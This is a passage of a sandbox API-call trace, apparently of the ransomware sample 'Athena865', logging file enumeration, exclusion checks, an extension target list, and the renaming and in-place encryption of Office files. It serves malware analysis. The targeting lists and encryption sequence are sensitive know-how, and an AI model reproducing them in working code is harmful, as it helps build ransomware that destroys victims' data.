lpString2="ns3") returned 1 [0089.727] lstrlenW (lpString="ns4") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="ns4") returned 1 [0089.727] lstrlenW (lpString="nsf") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="nsf") returned 1 [0089.727] lstrlenW (lpString="nv") returned 2 [0089.727] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0089.727] lstrlenW (lpString="nv2") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="nv2") returned 1 [0089.727] lstrlenW (lpString="nwdb") returned 4 [0089.727] lstrcmpiW (lpString1=".XSL", lpString2="nwdb") returned -1 [0089.727] lstrlenW (lpString="nyf") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="nyf") returned 1 [0089.727] lstrlenW (lpString="odb") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0089.727] lstrlenW (lpString="odb") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="odb") returned 1 [0089.727] lstrlenW (lpString="oqy") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="oqy") returned 1 [0089.727] lstrlenW (lpString="ora") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="ora") returned 1 [0089.727] lstrlenW (lpString="orx") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="orx") returned 1 [0089.728] lstrlenW (lpString="owc") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="owc") returned 1 [0089.728] lstrlenW (lpString="p96") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="p96") returned 1 [0089.728] lstrlenW (lpString="p97") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="p97") returned 1 [0089.728] lstrlenW (lpString="pan") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="pan") returned 1 [0089.728] lstrlenW (lpString="pdb") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="pdb") returned 1 [0089.728] lstrlenW (lpString="pdm") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="pdm") returned 1 [0089.728] lstrlenW (lpString="pnz") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="pnz") returned 1 [0089.728] lstrlenW (lpString="qry") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="qry") returned 1 [0089.728] lstrlenW (lpString="qvd") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="qvd") returned 1 [0089.728] lstrlenW (lpString="rbf") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="rbf") returned 1 [0089.728] lstrlenW (lpString="rctd") returned 4 [0089.728] lstrcmpiW (lpString1=".XSL", lpString2="rctd") returned -1 [0089.728] lstrlenW (lpString="rod") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="rod") returned 1 [0089.728] lstrlenW (lpString="rodx") returned 4 [0089.728] lstrcmpiW (lpString1=".XSL", lpString2="rodx") returned -1 [0089.728] lstrlenW (lpString="rpd") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="rpd") returned 1 [0089.728] lstrlenW (lpString="rsd") returned 3 [0089.728] lstrcmpiW (lpString1="XSL", lpString2="rsd") returned 1 [0089.728] lstrlenW (lpString="sas7bdat") returned 8 [0089.728] lstrcmpiW (lpString1="WORD.XSL", lpString2="sas7bdat") returned 1 [0089.729] lstrlenW (lpString="sbf") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="sbf") returned 1 [0089.729] lstrlenW (lpString="scx") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="scx") returned 1 [0089.729] lstrlenW (lpString="sdb") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="sdb") returned 1 [0089.729] lstrlenW (lpString="sdc") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="sdc") returned 1 [0089.729] lstrlenW (lpString="sdf") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="sdf") returned 1 [0089.729] lstrlenW (lpString="sis") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="sis") returned 1 [0089.729] lstrlenW (lpString="spq") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="spq") returned 1 [0089.729] lstrlenW (lpString="te") returned 2 [0089.729] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0089.729] lstrlenW (lpString="teacher") returned 7 [0089.729] lstrcmpiW (lpString1="ORD.XSL", lpString2="teacher") returned -1 [0089.729] lstrlenW (lpString="tmd") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="tmd") returned 1 [0089.729] lstrlenW (lpString="tps") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="tps") returned 1 [0089.729] lstrlenW (lpString="trc") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0089.729] lstrlenW (lpString="trc") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="trc") returned 1 [0089.729] lstrlenW (lpString="trm") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="trm") returned 1 [0089.729] lstrlenW (lpString="udb") returned 3 [0089.729] lstrcmpiW (lpString1="XSL", lpString2="udb") returned 1 [0089.729] lstrlenW (lpString="udl") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="udl") returned 1 [0089.730] lstrlenW (lpString="usr") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="usr") returned 1 [0089.730] lstrlenW (lpString="v12") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="v12") returned 1 [0089.730] lstrlenW (lpString="vis") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="vis") returned 1 [0089.730] lstrlenW (lpString="vpd") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="vpd") returned 1 [0089.730] lstrlenW (lpString="vvv") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="vvv") returned 1 [0089.730] lstrlenW (lpString="wdb") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="wdb") returned 1 [0089.730] lstrlenW (lpString="wmdb") returned 4 [0089.730] lstrcmpiW (lpString1=".XSL", lpString2="wmdb") returned -1 [0089.730] lstrlenW (lpString="wrk") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="wrk") returned 1 [0089.730] lstrlenW (lpString="xdb") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="xdb") returned 1 [0089.730] lstrlenW (lpString="xld") returned 3 [0089.730] lstrcmpiW (lpString1="XSL", lpString2="xld") returned 1 [0089.730] lstrlenW (lpString="xmlff") returned 5 [0089.730] lstrcmpiW (lpString1="D.XSL", lpString2="xmlff") returned -1 [0089.730] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL.Athena865") returned 65 [0089.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl.athena865"), dwFlags=0x1) returned 1 [0089.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0089.731] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10321) returned 1 [0089.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.732] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.732] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.732] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.733] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b60, lpName=0x0) returned 0x154 [0089.734] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b60) returned 0x100000 [0089.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.736] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.736] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.737] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.737] CloseHandle (hObject=0x154) returned 1 [0089.737] CloseHandle (hObject=0x17c) returned 1 [0089.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.737] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d4ce00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5e8489d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d4ce00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x202200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XOCR3.PSP", cAlternateFileName="")) returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2=".") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="..") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="windows") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="bootmgr") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="temp") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="pagefile.sys") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="boot") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="ids.txt") returned 1 [0089.737] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="ntuser.dat") returned 1 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="perflogs") returned 1 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2="MSBuild") returned 1 [0089.738] lstrlenW (lpString="XOCR3.PSP") returned 9 [0089.738] lstrcpyW (in: lpString1=0x241e89e, lpString2="XOCR3.PSP" | out: lpString1="XOCR3.PSP") returned="XOCR3.PSP" [0089.738] lstrlenW (lpString="XOCR3.PSP") returned 9 [0089.738] lstrlenW (lpString="Athena865") returned 9 [0089.738] lstrlenW (lpString=".dll") returned 4 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2=".dll") returned 1 [0089.738] lstrlenW (lpString=".lnk") returned 4 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2=".lnk") returned 1 [0089.738] lstrlenW (lpString=".ini") returned 4 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2=".ini") returned 1 [0089.738] lstrlenW (lpString=".sys") returned 4 [0089.738] lstrcmpiW (lpString1="XOCR3.PSP", lpString2=".sys") returned 1 [0089.738] lstrlenW (lpString="XOCR3.PSP") returned 9 [0089.738] lstrlenW (lpString="bak") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="bak") returned 1 [0089.738] lstrlenW (lpString="ba_") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="ba_") returned 1 [0089.738] lstrlenW (lpString="dbb") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="dbb") returned 1 [0089.738] lstrlenW (lpString="vmdk") returned 4 [0089.738] lstrcmpiW (lpString1=".PSP", lpString2="vmdk") returned -1 [0089.738] lstrlenW (lpString="rar") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="rar") returned -1 [0089.738] lstrlenW (lpString="zip") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="zip") returned -1 [0089.738] lstrlenW (lpString="tgz") returned 3 [0089.738] lstrcmpiW (lpString1="PSP", lpString2="tgz") returned -1 [0089.738] lstrlenW (lpString="vbox") returned 4 [0089.739] lstrcmpiW (lpString1=".PSP", lpString2="vbox") returned -1 [0089.739] lstrlenW (lpString="vdi") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="vdi") returned -1 [0089.739] lstrlenW (lpString="vhd") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="vhd") returned -1 [0089.739] lstrlenW (lpString="vhdx") returned 4 [0089.739] lstrcmpiW (lpString1=".PSP", lpString2="vhdx") returned -1 [0089.739] lstrlenW (lpString="avhd") returned 4 [0089.739] lstrcmpiW (lpString1=".PSP", lpString2="avhd") returned -1 [0089.739] lstrlenW (lpString="db") returned 2 [0089.739] lstrcmpiW (lpString1="SP", lpString2="db") returned 1 [0089.739] lstrlenW (lpString="db2") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="db2") returned 1 [0089.739] lstrlenW (lpString="db3") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="db3") returned 1 [0089.739] lstrlenW (lpString="dbf") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="dbf") returned 1 [0089.739] lstrlenW (lpString="mdf") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="mdf") returned 1 [0089.739] lstrlenW (lpString="mdb") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="mdb") returned 1 [0089.739] lstrlenW (lpString="sql") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="sql") returned -1 [0089.739] lstrlenW (lpString="sqlite") returned 6 [0089.739] lstrcmpiW (lpString1="R3.PSP", lpString2="sqlite") returned -1 [0089.739] lstrlenW (lpString="sqlite3") returned 7 [0089.739] lstrcmpiW (lpString1="CR3.PSP", lpString2="sqlite3") returned -1 [0089.739] lstrlenW (lpString="sqlitedb") returned 8 [0089.739] lstrcmpiW (lpString1="OCR3.PSP", lpString2="sqlitedb") returned -1 [0089.739] lstrlenW (lpString="xml") returned 3 [0089.739] lstrcmpiW (lpString1="PSP", lpString2="xml") returned -1 [0089.740] lstrlenW (lpString="$er") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="$er") returned 1 [0089.740] lstrlenW (lpString="4dd") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="4dd") returned 1 [0089.740] lstrlenW (lpString="4dl") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="4dl") returned 1 [0089.740] lstrlenW (lpString="^^^") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="^^^") returned 1 [0089.740] lstrlenW (lpString="abs") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="abs") returned 1 [0089.740] lstrlenW (lpString="abx") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="abx") returned 1 [0089.740] lstrlenW (lpString="accdb") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accdb") returned -1 [0089.740] lstrlenW (lpString="accdc") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accdc") returned -1 [0089.740] lstrlenW (lpString="accde") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accde") returned -1 [0089.740] lstrlenW (lpString="accdr") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accdr") returned -1 [0089.740] lstrlenW (lpString="accdt") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accdt") returned -1 [0089.740] lstrlenW (lpString="accdw") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accdw") returned -1 [0089.740] lstrlenW (lpString="accft") returned 5 [0089.740] lstrcmpiW (lpString1="3.PSP", lpString2="accft") returned -1 [0089.740] lstrlenW (lpString="adb") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="adb") returned 1 [0089.740] lstrlenW (lpString="adb") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="adb") returned 1 [0089.740] lstrlenW (lpString="ade") returned 3 [0089.740] lstrcmpiW (lpString1="PSP", lpString2="ade") returned 1 [0089.741] lstrlenW (lpString="adf") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="adf") returned 1 [0089.741] lstrlenW (lpString="adn") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="adn") returned 1 [0089.741] lstrlenW (lpString="adp") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="adp") returned 1 [0089.741] lstrlenW (lpString="alf") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="alf") returned 1 [0089.741] lstrlenW (lpString="ask") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="ask") returned 1 [0089.741] lstrlenW (lpString="btr") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="btr") returned 1 [0089.741] lstrlenW (lpString="cat") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="cat") returned 1 [0089.741] lstrlenW (lpString="cdb") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="cdb") returned 1 [0089.741] lstrlenW (lpString="ckp") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="ckp") returned 1 [0089.741] lstrlenW (lpString="cma") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="cma") returned 1 [0089.741] lstrlenW (lpString="cpd") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="cpd") returned 1 [0089.741] lstrlenW (lpString="dacpac") returned 6 [0089.741] lstrcmpiW (lpString1="R3.PSP", lpString2="dacpac") returned 1 [0089.741] lstrlenW (lpString="dad") returned 3 [0089.741] lstrcmpiW (lpString1="PSP", lpString2="dad") returned 1 [0089.741] lstrlenW (lpString="dadiagrams") returned 10 [0089.741] lstrlenW (lpString="daschema") returned 8 [0089.741] lstrcmpiW (lpString1="OCR3.PSP", lpString2="daschema") returned 1 [0089.741] lstrlenW (lpString="db-journal") returned 10 [0089.741] lstrlenW (lpString="db-shm") returned 6 [0089.741] lstrcmpiW (lpString1="R3.PSP", lpString2="db-shm") returned 1 [0089.742] lstrlenW (lpString="db-wal") returned 6 [0089.742] lstrcmpiW (lpString1="R3.PSP", lpString2="db-wal") returned 1 [0089.742] lstrlenW (lpString="dbc") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dbc") returned 1 [0089.742] lstrlenW (lpString="dbs") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dbs") returned 1 [0089.742] lstrlenW (lpString="dbt") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dbt") returned 1 [0089.742] lstrlenW (lpString="dbv") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dbv") returned 1 [0089.742] lstrlenW (lpString="dbx") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dbx") returned 1 [0089.742] lstrlenW (lpString="dcb") returned 3 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dcb") returned 1 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dct") returned 1 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="dcx") returned 1 [0089.742] lstrcmpiW (lpString1="PSP", lpString2="ddl") returned 1 [0089.742] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.Athena865") returned 62 [0089.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.athena865"), dwFlags=0x1) returned 1 [0089.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0089.743] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2105856) returned 1 [0089.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.744] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.744] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.745] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.745] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x202500, lpName=0x0) returned 0x154 [0089.746] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x2500) returned 0x100000 [0089.748] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0089.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.851] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.851] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.852] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.852] CloseHandle (hObject=0x154) returned 1 [0089.852] CloseHandle (hObject=0x17c) returned 1 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.861] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2=".") returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="..") returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="windows") returned 1 [0089.861] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="bootmgr") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="temp") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="pagefile.sys") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="boot") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="ids.txt") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="ntuser.dat") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="perflogs") returned 1 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2="MSBuild") returned 1 [0089.862] lstrlenW (lpString="XPAGE3C.DLL") returned 11 [0089.862] lstrcpyW (in: lpString1=0x241e89e, lpString2="XPAGE3C.DLL" | out: lpString1="XPAGE3C.DLL") returned="XPAGE3C.DLL" [0089.862] lstrlenW (lpString="XPAGE3C.DLL") returned 11 [0089.862] lstrlenW (lpString="Athena865") returned 9 [0089.862] lstrcmpiW (lpString1="AGE3C.DLL", lpString2="Athena865") returned -1 [0089.862] lstrlenW (lpString=".dll") returned 4 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2=".dll") returned 1 [0089.862] lstrlenW (lpString=".lnk") returned 4 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2=".lnk") returned 1 [0089.862] lstrlenW (lpString=".ini") returned 4 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2=".ini") returned 1 [0089.862] lstrlenW (lpString=".sys") returned 4 [0089.862] lstrcmpiW (lpString1="XPAGE3C.DLL", lpString2=".sys") returned 1 [0089.862] lstrlenW 